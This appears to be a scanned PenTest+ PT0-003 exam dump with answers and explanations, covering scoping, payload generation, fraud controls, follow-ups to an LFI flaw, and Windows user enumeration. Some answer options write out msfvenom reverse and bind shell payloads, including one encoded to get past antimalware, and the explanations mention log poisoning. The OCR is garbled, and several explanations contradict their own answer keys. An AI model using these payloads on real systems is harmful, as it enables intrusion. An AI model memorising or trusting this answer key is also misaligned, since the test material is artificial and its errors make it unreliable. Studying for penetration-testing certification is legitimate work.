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¢ Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration

techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration
Thema 1 purposes. They will also understand which tools to use for these stages, essential for gathering crucial
nformation before performing deeper penetration tests.

¢ Vuherability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to

discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration
Therma 2 phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand
security gaps beyond just the digital landscape.

¢ Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize

attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud,
Thema 3 wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and
automating attacks with scripting will also be emphasized.

¢ Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and

maintaining persistence within a system. This topic also covers lateral movement within an environment and
Thema 4 mtroduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities,
ensuring analysts understand the post-exploitation phase’s responsibilities.

¢ Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities,
collaboration, and communication in a penetration testing environment. The topic covers testing

Thema 5 frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and

recommend remediation effectively within reports, crucial for real-world testing scenarios.

CompTIA PenTest+ Exam PT0-003 Priifungsfragen mit Losungen (Q236-
Q241):

236. Frage

A penetration tester is starting an assessment but only has publicly available information about the target company. The client is
aware of this exercise and is preparing for the test.

Which of the following describes the scope of the assessment?

A. Known environment testing

B. Partially known environment testing
C. Physical environment testing

D. Unknown environment testing

Antwort: D

237. Frage

A penetration tester is ready to add shellcode for a specific remote executable exploit. The tester is trying to prevent the payload
from being blocked by antimalware that is running on the target. Which of the following commands should the tester use to obtain
shell access?

e A nsfvenom -p windows/x64/meterpreter/reverse _tcp LHOST=10.10.10.100 LPORT=8000

e B. msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata ga nai --payload windows
/bind_tcp LPORT=443

e C. net user add /admmistrator | hexdump > payload

e D. nsfvenom --arch x86-64 --platform windows --payload windows/shell reverse tcp LHOST=10.
10.10.100 LPORT=4444 EXITFUNC=none

Antwort: B
Begrindung;

* Using shikata ga nai:
* This encoder obfuscates the payload, making it harder for antimalware to detect.



* The command specifies a bind shell (windows/bind_tcp) payload, targeting Windows with architecture x86-64.

* Why Not Other Options?

* B, C: These commands generate payloads but do not use an encoder, increasing the likelihood of detection by antimatware.
* D: This command is unrelated to generating shellcode; it appears to be an attempt to manipulate accounts.

CompTIA Pentest+ References:

* Domain 3.0 (Attacks and Exploits)

238. Frage

A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a
payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the
following would be the BEST recommendation to prevent this type of activity in the future?

A. Enforce mandatory employee vacations

B. Implement multifactor authentication

C. Encrypt passwords for bank account information
D. Install video surveillance equipment in the office

Antwort: A

Begrindung;

Ifthe employee already works in the accounting department, MF A will not stop their actions because they'll already have access by
virtue of their job.

Enforcing mandatory employee vacations is the best recommendation to prevent this type of activity in the future, as it will make it
harder for an employee to conceal fraudulent transactions or unauthorized changes to a payment system. Mandatory employee
vacations are a form of internal control that requires employees to take time off from work periodically and have their duties
performed by someone else. This can help detect errors, irregularities, or frauds committed by employees who might otherwise have
exclusive access or control over certain processes or systemnns.

239. Frage

During an assessiment, a penetration tester manages to exploit an LF1 vulnerability and browse the web log for a target Apache
server. Which of the following steps would the penetration tester most likely try NEXT to further exploit the web server? (Choose
two.)

A. SQL injection

B. Cross-site scripting

C. Command njection

D. Server-side request forgery
E. Log poisoning

F. Cross-site request forgery

Antwort: C,E

Begriindung;

Local File Inclusion (LFT) is a web vulnerability that allows an attacker to include files on a server through the web browser. This can
expose sensitive information or lead to remote code execution.

Some possible next steps that a penetration tester can try after exploiting an LFI vulnerability are:

Log poisoning: This involves injecting malicious code into the web server's log files and then including them via LFI to execute the
code34.

PHP wrappers: These are special streans that can be used to manipulate files or data via LF1. For example, phpZ/input can be used
to pass arbitrary data to an LFI script, or php/filter can be used to encode or decode filesS.

240. Frage
A penetration tester gains access to a Windows machine and wants to further enumerate users with native operating system
credentials. Which of'the following should the tester use?

e A. nbtstat
e B. route



e C. whoami
o D. net

Antwort: D

Begrindung;

Windows provides built-in utilities for user enumeration and privilege escalation.

net command (Option C):

The net command is used to list users, groups, and shares on a Windows system:

net user

net localgroup administrators

net group "Domain Admins” /domain

Useful for gathering privilege escalation targets and understanding user permissions.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Windows Enumeration Commands" Incorrect options:
Option A (route): Displays network routing tables, not user information.

Option B (nbtstat): Used for NetBIOS name resolution, but does not enumerate users.
Option D (whoami): Displays current logged-in user but does not list all users.
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